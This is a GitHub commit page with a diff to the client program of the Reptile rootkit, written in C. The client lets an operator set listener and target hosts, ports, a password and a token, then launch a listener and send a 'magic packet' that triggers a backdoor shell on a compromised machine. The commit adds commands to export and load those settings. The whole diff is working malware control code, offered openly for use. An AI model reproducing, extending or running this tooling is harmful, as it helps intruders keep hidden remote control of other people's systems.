Skip to content

Commit

Permalink
update client and fixing bugs
Browse files Browse the repository at this point in the history
  • Loading branch information
f0rb1dd3n committed Dec 26, 2018
1 parent 29cb60f commit 255c15d
Show file tree
Hide file tree
Showing 2 changed files with 214 additions and 106 deletions.
243 changes: 172 additions & 71 deletions sbin/client.c
Original file line number Diff line number Diff line change
Expand Up @@ -18,14 +18,17 @@
#include <sys/wait.h>
#include <termios.h>
#include <unistd.h>
#include <signal.h>

#include "config.h"
#include "util.h"

pid_t pid;
char *listener, *packet;

char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost",
"rport", "prot", "pass", "token"};

char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST",
"RPORT", "PROT", "PASS", "TOKEN"};

Expand All @@ -48,11 +51,14 @@ int set(char **args);
int unset(char **args);
int show(char **args);
int run(char **args);
int export(char **args);
int load(char **args);

char *builtin_str[] = {"help", "set", "unset", "show", "run", "exit"};
int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &__exit};
char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"};
int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit};

int num_builtins() { return sizeof(builtin_str) / sizeof(char *); }
int num_builtins()
{ return sizeof(builtin_str) / sizeof(char *); }

int launch(char **args)
{
Expand All @@ -76,47 +82,66 @@ int launch(char **args)
return 1;
}

void help_set()
{
fprintf(stdout, "%s <variable> <value>\n", builtin_str[1]);
fprintf(stdout, "Example: set LHOST 192.168.0.2\n");
}

void help_unset()
{
fprintf(stdout, "%s <variable>\n", builtin_str[2]);
fprintf(stdout, "Example: unset RHOST\n");
}

void help_conf(int i)
{
fprintf(stdout, "%s <file>\n", builtin_str[i]);
fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]);
}

void no_help()
{
fprintf(stdout, "This command doesn't need help\n");
}

int help(char **args)
{
if (args[0] == NULL)
return 1;

if (args[1] != NULL) {
if (strcmp(args[1], builtin_str[1]) == 0) {
fprintf(stdout, "%s <variable> <value>\n",
builtin_str[1]);
fprintf(stdout, "Example: set LHOST 192.168.0.2\n");
if (strcmp(args[1], builtin_str[0]) == 0) {
no_help();
} else if (strcmp(args[1], builtin_str[1]) == 0) {
help_set();
} else if (strcmp(args[1], builtin_str[2]) == 0) {
fprintf(stdout, "%s <variable>\n", builtin_str[2]);
fprintf(stdout, "Example: unset RHOST\n");
help_unset();
} else if (strcmp(args[1], builtin_str[3]) == 0) {
no_help();
} else if (strcmp(args[1], builtin_str[4]) == 0) {
no_help();
} else if (strcmp(args[1], builtin_str[5]) == 0) {
help_conf(5);
} else if (strcmp(args[1], builtin_str[6]) == 0) {
help_conf(6);
} else if (strcmp(args[1], builtin_str[7]) == 0) {
no_help();
} else {
if (strcmp(args[1], builtin_str[0]) == 0 ||
strcmp(args[1], builtin_str[3]) == 0 ||
strcmp(args[1], builtin_str[4]) == 0 ||
strcmp(args[1], builtin_str[5]) == 0) {
fprintf(stdout,
"This command doesn't need help\n");
} else {
fprintf(stdout, "This command is not valid!\n");
}
fprintf(stdout, "This command is not valid!\n");
}
} else {
fprintf(stdout, "\n\e[01;36mReptile Client\e[00m\n");

fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n");
fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]);
fprintf(stdout, "\t%s\t\tSet value to a variable\n",
builtin_str[1]);
fprintf(stdout, "\t%s\t\tUnset value to a variable\n",
builtin_str[2]);
fprintf(stdout, "\t%s\t\tShow the current configuration\n",
builtin_str[3]);
fprintf(stdout,
"\t%s\t\tRun the listener and send the magic packet\n",
builtin_str[4]);
fprintf(stdout, "\t%s\t\tExit this shell\n\n", builtin_str[5]);
fprintf(stdout,
"Type: \"help <command>\" to see specific help\n");
fprintf(stdout, "\t%s\t\tSet value to a variable\n", builtin_str[1]);
fprintf(stdout, "\t%s\t\tUnset value to a variable\n", builtin_str[2]);
fprintf(stdout, "\t%s\t\tShow the current configuration\n", builtin_str[3]);
fprintf(stdout, "\t%s\t\tRun the listener and send the magic packet\n", builtin_str[4]);
fprintf(stdout, "\t%s\t\tExport a configuration to a file\n", builtin_str[5]);
fprintf(stdout, "\t%s\t\tLoad a configuration from a file\n", builtin_str[6]);
fprintf(stdout, "\t%s\t\tExit this shell\n\n", builtin_str[7]);
fprintf(stdout, "Type: \"help <command>\" to see specific help\n");
}

fprintf(stdout, "\n");
Expand All @@ -137,6 +162,12 @@ int __exit(char **args)
var_array[i] = NULL;
}

if (listener)
free(listener);

if (packet)
free(packet);

fprintf(stdout, "\n");
return 0;
}
Expand Down Expand Up @@ -232,13 +263,18 @@ int show(char **args)
return 1;
}

void interrupt(int signal)
{
fprintf(stdout, "\r");
fflush(stdout);
fprintf(stdout, "%s Interrupted: %d\n", warn, signal);
}

int run(char **args)
{
pid_t pid, pid2;
int status, len;
char *listener, *packet;
char *envp[1] = {NULL};
char *pwd = get_current_dir_name();
int status;
//char *envp[1] = {NULL};

if (args[0] == NULL)
return 1;
Expand Down Expand Up @@ -288,29 +324,6 @@ int run(char **args)
}
}

len = strlen(pwd);

listener = (char *)malloc(len + 9);

if (!listener)
fatal("malloc");

packet = (char *)malloc(len + 7);

if (!packet) {
free(listener);
fatal("malloc");
}

bzero(listener, len + 9);
bzero(packet, len + 7);

strcpy(listener, pwd);
strcat(listener, "/listener");

strcpy(packet, pwd);
strcat(packet, "/packet");

char *arg_listener[] = {listener, "-p", var_array[1], "-s",
var_array[7], NULL, NULL};

Expand All @@ -326,12 +339,12 @@ int run(char **args)
fatal("on forking proccess");

if (pid > 0) {
signal(SIGTERM, interrupt);
signal(SIGINT, interrupt);

do {
waitpid(pid, &status, WUNTRACED);
} while (!WIFEXITED(status) && !WIFSIGNALED(status));

free(listener);
free(packet);
}

if (pid == 0) {
Expand All @@ -345,8 +358,8 @@ int run(char **args)
arg_listener[3] = NULL;
arg_listener[4] = NULL;
}
execve(arg_listener[0], arg_listener, envp);
exit(1);
if (execvp(arg_listener[0], arg_listener) == -1)
fprintf(stderr, "%s listener could not be launched\n", bad);
}

if (pid2 == 0) {
Expand All @@ -358,10 +371,80 @@ int run(char **args)
arg_packet[16] = NULL;
}
usleep(100 * 1500);
execve(arg_packet[0], arg_packet, envp);
exit(1);

if (execvp(arg_packet[0], arg_packet) == -1) {
fprintf(stderr, "%s packet could not be launched\n", bad);
kill(pid2, SIGINT);
}
}
}

return 1;
}

/*
* Thanks aliyuchang33 for suggesting this! ;)
*
* https://github.com/f0rb1dd3n/Reptile/pull/61/commits/0482eeff93c5b3f9097f7e06e2b2a0fcf248eb8e
*
*/

int export(char **args)
{
int vars;
FILE *confile;

if (args[0] == NULL)
return 1;

if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad);
return 1;
}

if (!(confile = fopen(args[1], "w+"))) {
fprintf(stderr, "%s Cannot open config file\n", bad);
return 1;
}

for (vars = 0; vars < 9; vars++)
fprintf(confile, "%s\n", var_array[vars]);

fclose(confile);
fprintf(stdout, "%s Configuration exported\n", good);
return 1;
}

int load(char **args)
{
int vars;
FILE *confile;

if (args[0] == NULL)
return 1;

if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad);
return 1;
}

if (!(confile = fopen(args[1], "r+"))) {
fprintf(stderr, "%s Cannot open config file\n", bad);
return 1;
}

for (vars = 0; vars < 9; vars++) {
char arg[50] = {0};
fgets(arg, 50, confile);

if (strcmp(arg, "(null)\n")) {
arg[strlen(arg) - 1] = '\0';
var_array[vars] = strdup(arg);
}
}

fclose(confile);
fprintf(stdout, "%s Configuration loaded\n", good);
return 1;
}

Expand Down Expand Up @@ -469,19 +552,37 @@ void client_loop()

int main()
{
char lport[] = "4444";
char srcport[] = "666";
char token[] = "hax0r";
int len;
char *pwd = get_current_dir_name();

system("clear");
printf("\n\e[01;36mReptile Client\e[00m\n");
printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n");
banner2();
printf("\n");

var_array[1] = strdup(lport);
var_array[3] = strdup(srcport);
var_array[8] = strdup(token);
len = strlen(pwd);

listener = (char *)malloc(len + 10);

if (!listener)
fatal("malloc");

packet = (char *)malloc(len + 8);

if (!packet) {
free(listener);
fatal("malloc");
}

bzero(listener, len + 10);
bzero(packet, len + 8);

strcpy(listener, pwd);
strcat(listener, "/listener");

strcpy(packet, pwd);
strcat(packet, "/packet");

pid = fork();

Expand Down
Loading

0 comments on commit 255c15d

Please sign in to comment.